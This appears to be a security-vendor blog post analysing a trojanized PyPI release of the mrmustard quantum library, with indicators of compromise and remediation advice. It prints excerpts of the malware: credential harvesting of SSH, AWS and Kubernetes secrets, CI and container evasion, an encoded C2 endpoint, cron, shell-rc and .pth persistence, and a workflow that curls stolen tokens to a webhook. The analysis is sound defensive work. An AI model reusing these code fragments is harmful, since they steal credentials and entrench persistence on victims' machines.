mrmustard PyPI Package Trojanized to Steal Credentials
Sahil Bansal Table of Contents
TL;DR
A malicious version of mrmustard, the photonic quantum computing library from Xanadu, was published to PyPI on July 23, 2026. Anyone who ran import mrmustard from version 0.7.4 on a laptop or workstation had their SSH private keys, AWS credentials, and Kubernetes config read off disk and sent to an attacker server, and had three separate persistence mechanisms installed that keep a stealer running long after the package is uninstalled. The credential theft targets research and HPC environments, collecting SLURM job queues and GPU inventories alongside the usual cloud secrets.
The malicious code sits in mrmustard/__init__.py as a 258-line function named _check_tf_compatibility(). The rest of the release is byte-identical to the previous clean version, 0.7.3. A release-provenance gap separated the two before anyone read a line of the code. Version 0.7.4 exists on PyPI but has no corresponding tag, release, or commit in the XanaduAI/MrMustard GitHub repository, whose tags stop at v0.7.3. The package was published through the account of ziofil, the project’s original author and top contributor, after that account was used to steal the project’s CI publishing tokens. PyPI has since quarantined the project.
Impact:
- Importing
[email protected]reads every SSH private key under~/.ssh, plus~/.aws/credentials,~/.aws/config, and~/.kube/config, and POSTs them to an attacker C2 - The payload collects host recon aimed at research clusters: SLURM
squeueoutput,nvidia-smiGPU inventory, public IP, hostname,idoutput, and the fullpip freezelist - A source-less compiled
hw_probe.pycis written to~/.cache/.tf_cache/and launched by three independent persistence hooks (cron, shell rc, and a site-packages.pthfile) - The
.pthhook runs the stealer on every Python invocation on the host, and survivespip uninstall mrmustard - The stealer skips execution under CI environment variables and inside containers, so it fires on developer and researcher machines rather than build systems
- A poisoned GitHub Actions workflow in the same operation exfiltrated the project’s
PIPY_TOKENandCODECOV_TOKEN
Affected package: [email protected] (PyPI). Clean: 0.7.3 and earlier. sdist SHA256 0404f8590fdaef95280c1d908068f31bf2321fe887faabf0c2329ba67c7203cb.
A PyPI release with no matching GitHub tag
The clean [email protected] was published to PyPI on March 28, 2024, alongside the v0.7.3 GitHub release. Version 0.7.4 was uploaded to PyPI on July 23, 2026, more than two years later, with no v0.7.4 tag, no release, and no commit on the default branch. The most recent release on GitHub is v1.0.0a1, and the most recent stable tag is v0.7.3. A stable-looking 0.7.4 that appears only on the package registry, with the version-control history skipping straight past it, points to a publishing-credential or CI compromise rather than a normal release.
Diffing the two source distributions confirms how surgical the change is. Three files differ, and two of them are metadata:
# diff mrmustard-0.7.3 vs mrmustard-0.7.4 (sdist)Files mrmustard/__init__.py differFiles PKG-INFO differ # version bump 0.7.3 -> 0.7.4, newer build toolchainFiles pyproject.toml differ # version = "0.7.3" -> "0.7.4"Every other file across the package is identical. The entire attack is 258 lines added to mrmustard/__init__.py, which grows from 85 to 343 lines. The injected function is placed right after the legitimate imports and before the real version() and about() helpers, so the file still reads like the genuine module.
The injected payload
The malicious function runs on import and hides its work in a daemon thread so the import returns with no visible delay.
# mrmustard/__init__.py @ 0.7.4 (sdist), lines 24-31, 276-279def _check_tf_compatibility(): import threading def _run(): try: import base64 as _b, hashlib as _h, json as _j, os as _o import platform as _p, subprocess as _s, sys as _sys, urllib.request as _u import time as _t ... threading.Thread(target=_run, daemon=True).start()
_check_tf_compatibility()del _check_tf_compatibilityThe name mimics a TensorFlow hardware check, which is plausible cover because MrMustard uses TensorFlow as a backend. After the call, del _check_tf_compatibility removes the name from the module namespace, so code that inspects mrmustard after import finds no trace of the function.
Before doing anything, the payload checks that it is not running in CI or a container, and bails out if it is.
# mrmustard/__init__.py @ 0.7.4 (sdist), lines 45-59for m in ("CI", "GITHUB_ACTIONS", "GITLAB_CI", "JENKINS_URL", "TRAVIS", "CIRCLECI", "BUILDKITE", "CODEBUILD_BUILD_ID"): if _o.environ.get(m): return
for p in ("/.dockerenv", "/run/.containerenv"): if _o.path.exists(p): returntry: with open("/proc/1/cgroup") as _f: _cg = _f.read() if "docker" in _cg or "kubepods" in _cg or "lxc" in _cg: returnexcept Exception: passThis inverts the usual sandbox-evasion goal. Rather than dodging a malware analysis VM, it dodges build systems and CI runners, where stolen credentials are short-lived and monitored, to concentrate on developer and researcher laptops where long-lived keys live. A per-host id derived from sha256(hostname + user + machine) and an hourly lock file in ~/.cache/.tf_cache/ throttle repeat runs.
What the payload collects
The harvesting is a single dictionary built from files on disk and the output of a handful of commands. It reads SSH private keys by scanning ~/.ssh for any file that is not a .pub or a known_hosts and contains the string PRIVATE KEY.
# mrmustard/__init__.py @ 0.7.4 (sdist), lines 128-149 (abridged)_info = { "h": _p.node(), # hostname "u": _o.getenv("USER", _o.getenv("USERNAME", "")), "sk": _sk(), # ~/.ssh private keys "ac": _r("~/.aws/credentials"), "ao": _r("~/.aws/config"), "kc": _r("~/.kube/config"), "dep": _c([_sys.executable, "-m", "pip", "freeze"]), "uid": _c(["id"]), "eip": _eip(), # public IP via ifconfig.me "net": _c(["hostname", "-I"]), "gpu": _c(["nvidia-smi", "--query-gpu=name,memory.total", "--format=csv,noheader"]), "sq": _c(["squeue", "-u", _o.getenv("USER", "nobody")]), "t": "i",}The environment variables it keeps are filtered to a prefix list that reads like a target profile: AWS_, KUBE, DOCKER_, TF_VAR_, CUDA, NVIDIA, GPU, CONDA, VIRTUAL_ENV, and the batch-scheduler prefixes SLURM_, PBS_, and SGE_. Collecting SLURM, PBS, and SGE state along with GPU inventory is deliberate targeting of HPC and research clusters, which fits the user base of a quantum computing library. Each file and command output is capped at 8192 bytes.
Where the data goes
The C2 endpoint is stored base64-then-XOR encoded so it does not appear as a plaintext string in the file. The key is the byte string tf_compat_v2.
# mrmustard/__init__.py @ 0.7.4 (sdist), lines 32-43_K = b'tf_compat_v2'_E = b'HBIrExxXX04ZOgJAHQUsTQkIHQMbJlhXGgMtBBZCBlBbPBleGAM8Fw=='...def _x(d): r = _b.b64decode(d) return ''.join(chr(b ^ _K[i % len(_K)]) for i, b in enumerate(r))_ep = _x(_E)Reimplementing that base64-then-XOR routine against the constant, without running the package, decodes _ep to hxxps://metrics.femboy[.]energy/v1/collect. The collected dictionary is JSON-encoded, XOR-encrypted with the same key, base64-wrapped as {"d": "..."}, and POSTed to that URL with a spoofed browser User-Agent. Every network and file operation is wrapped in a bare except Exception: pass, so nothing surfaces to the user if a step fails.
How the payload persists
The payload compiles a compact second copy of the same stealer to bytecode and drops it as ~/.cache/.tf_cache/hw_probe.pyc, then deletes the temporary source. Only the compiled .pyc remains on disk, so a grep for the C2 string or the stealer logic finds nothing without decompiling. Three separate launchers then point at that one file.
The cron launcher runs it every fifteen minutes:
# mrmustard/__init__.py @ 0.7.4 (sdist), lines 232-237if _B not in _ex: _cl = "*/15 * * * * /usr/bin/env python3 {} >/dev/null 2>&1".format(_B) _nc = _ex.rstrip() + "\n" + _cl + "\n" _p2 = _s.Popen(["crontab", "-"], stdin=_s.PIPE, stdout=_s.DEVNULL, stderr=_s.DEVNULL) _p2.communicate(_nc.encode())The shell launcher appends a hook to ~/.bashrc, ~/.zshrc, or the fish config, labelled with a comment that continues the TensorFlow cover story:
# mrmustard/__init__.py @ 0.7.4 (sdist), lines 266-270if _sh == "fish": _ln = "\n# tensorflow hardware compatibility check\n/usr/bin/env python3 {} &\n".format(_B)else: _ln = "\n# tensorflow hardware compatibility check\n(/usr/bin/env python3 {} &) 2>/dev/null\n".format(_B)The .pth file that runs on every Python launch
The third launcher outlives the package that installed it. The payload writes a file named mmcompat.pth into the first writable directory returned by site.getsitepackages().
# mrmustard/__init__.py @ 0.7.4 (sdist), lines 239-251import sitefor _d in site.getsitepackages(): if _o.path.isdir(_d) and _o.access(_d, _o.W_OK): _pth = _o.path.join(_d, _M + ".pth") # _M = "mmcompat" if not _o.path.exists(_pth): with open(_pth, "w") as f: f.write( "import subprocess,sys;subprocess.Popen(" "[sys.executable,'{}'],stdout=subprocess.DEVNULL," "stderr=subprocess.DEVNULL)\n".format(_B) ) breakCPython’s site module reads every .pth file in site-packages at interpreter startup, and any line that begins with import is executed as code. CPython added that behavior for path configuration. The payload abuses it to launch the stealer on every python and python3 invocation on the host, whether or not mrmustard is imported. The persistence is now decoupled from the package that delivered it. Running pip uninstall mrmustard removes the library but leaves mmcompat.pth, hw_probe.pyc, and the cron and shell hooks in place. Auditing site-packages for .pth files whose lines contain subprocess, Popen, exec, or a network call catches this class of persistence.
The GitHub account compromise
The malicious upload traces back to the project’s GitHub repository. On the same day, two commits landed under the account of ziofil, who is Filippo Miatto, the project’s original author and top contributor with 645 commits. This is a compromise of the primary maintainer account, not a rogue outside contributor.
The first commit, 2ebfe28 at 12:43 UTC, deleted seven legitimate workflow files and added one that probes the project’s self-hosted CI runners:
# .github/workflows/test.yml @ 2ebfe28name: nwmlqsxgncon: push: branches: nwmlqsxgncjobs: testing: runs-on: - self-hosted steps: - name: Run Tests run: whoamiTargeting self-hosted runners with a whoami is reconnaissance of whatever identity and access the project’s own build machines carry. The second commit, 80aba72 at 19:51 UTC, added a workflow that steals the project’s publishing secrets:
# .github/workflows/ci-mrmustard-check.yml @ 80aba72- name: verify env: S1: ${{ secrets.PIPY_TOKEN }} S2: ${{ secrets.CODECOV_TOKEN }} run: | PAYLOAD=$(jq -n '{"PIPY_TOKEN": env.S1, "CODECOV_TOKEN": env.S2, "repo": "XanaduAI/MrMustard"}' | base64 -w 0) curl -s -X POST "https://webhook.site/710babde-6ace-47fe-83f4-9688e6548df9" -H "Content-Type: application/json" -d '{"data": "'"$PAYLOAD"'", "type": "mrmustard"}'The workflow references the repository’s real secret names, including the misspelled PIPY_TOKEN, which means the attacker already had enough repository access to read the secret configuration. It base64-wraps both tokens and curls them to a webhook[.]site dead drop. The malicious 0.7.4 sdist was uploaded to PyPI at 22:00 UTC, about two hours after that token exfiltration ran. The timing is consistent with the stolen PyPI token being used to publish the trojanized package, though the upload channel itself is not something the source confirms.
One small tell corroborates the account-takeover reading. The two malicious commits carry different git author names, ziofil on 2ebfe28 and Filippo Miatto on 80aba72, under the same account and no-reply email, which is the kind of inconsistency an operator produces when they do not perfectly match the victim’s local git config. Both malicious branches, ci/mrmustard-check and nwmlqsxgnc, have since been deleted, but the commits remain reachable by SHA, which is why the links above are pinned to full commit hashes rather than a branch.
Indicators of compromise
| Indicator | Type | Notes |
|---|---|---|
pkg:pypi/[email protected] | Package | Malicious release. 0.7.3 and earlier are clean |
0404f8590fdaef95280c1d908068f31bf2321fe887faabf0c2329ba67c7203cb | SHA256 | mrmustard-0.7.4.tar.gz (sdist) |
81f0d1291a975d012d1b892cf9967557fdbb1ad4e1ac0545702ad235ace1cac5 | SHA256 | mrmustard-0.7.4-py3-none-any.whl (wheel) |
hxxps://metrics.femboy[.]energy/v1/collect | URL | Credential exfiltration C2 (HTTP POST) |
metrics.femboy[.]energy | Domain | C2 host |
hxxps://webhook[.]site/710babde-6ace-47fe-83f4-9688e6548df9 | URL | Dead drop for stolen PIPY_TOKEN and CODECOV_TOKEN |
~/.cache/.tf_cache/hw_probe.pyc | File | Compiled-only persistent stealer |
~/.cache/.tf_cache/ | Directory | Working dir, also holds .lock_* and .ts_* files |
mmcompat.pth | File | Persistence launcher in site-packages |
*/15 * * * * /usr/bin/env python3 .../hw_probe.pyc | Cron | Persistence, every 15 minutes |
# tensorflow hardware compatibility check | Shell rc marker | Line preceding the hook in .bashrc/.zshrc |
2ebfe28, 80aba72 | Git commits | Malicious commits on XanaduAI/MrMustard |
Detection and remediation
Treat any machine that imported [email protected], ran a Python process while mmcompat.pth was present, or executed the cron or shell hook as compromised. The credentials the payload reads are the priority. Rotate SSH keys, AWS access keys, and Kubernetes credentials, and review CloudTrail and cluster audit logs for use of those keys after July 23, 2026. On shared HPC login nodes the blast radius is larger than one user, since the .pth file dropped into a shared site-packages directory runs for every user who starts Python there.
Removal takes more than uninstalling the package. Delete ~/.cache/.tf_cache/, remove mmcompat.pth from every site-packages directory, run crontab -l and strip the */15 entry that points at hw_probe.pyc, and remove the # tensorflow hardware compatibility check block from shell rc files. For the project itself, treat the PIPY_TOKEN and CODECOV_TOKEN as burned and rotate them, and inspect the self-hosted runner that the whoami workflow probed.
The detection lesson is the provenance gap. A package version that appears on PyPI with no matching tag, release, or commit in its source repository is worth blocking until the maintainer confirms it, the same signal that surfaced the jscrambler npm compromise. Import-time credential theft in Python packages has become a pattern rather than an exception, as seen in the malicious hermes-px PyPI stealer, and maintainer-account takeover keeps enabling it, as in the @mastra npm scope takeover.
SafeDep’s Package Manager Guard (pmg) blocks packages with a malware verdict before they install, and the verdict comes from analyzing the payload rather than trusting the presence or absence of a release tag. Related: run vet against your lockfile to check what you already have installed.
References
- XanaduAI/MrMustard issue #656, the GitHub issue that first flagged the malicious
0.7.4release.
- malware
- pypi
- supply-chain
- credential-stealer
- account-compromise
Author
Sahil Bansal
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
@copilot-mcp/apex: A macOS Infostealer Re-Published on npm After Takedown
The npm security team removed the original @apexfdn/apex package for malicious code, and the operator re-published the same postinstall macOS infostealer as @copilot-mcp/apex about 11 hours later. It...
Official jscrambler npm Package Compromised Across Multiple Releases
The official jscrambler npm package (60K monthly downloads) was trojanized starting at 8.14.0 through an npm account or CI compromise. The attacker republished the same Rust infostealer across five...
AsyncAPI Packages Compromised with Miasma RAT
Four @asyncapi npm packages were published with obfuscated malware on July 14, 2026 via compromised CI workflows. The payload downloads Miasma RAT, a credential stealer targeting browsers, SSH keys,...
nodemon-sudo: an npm Backdoor With No Install Script
nodemon-sudo copies the real nodemon byte for byte, adds nothing malicious to its own code, and injects one extra dependency, tslint-conf, a repackaged pino logger carrying a backdoor. There is no...
Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.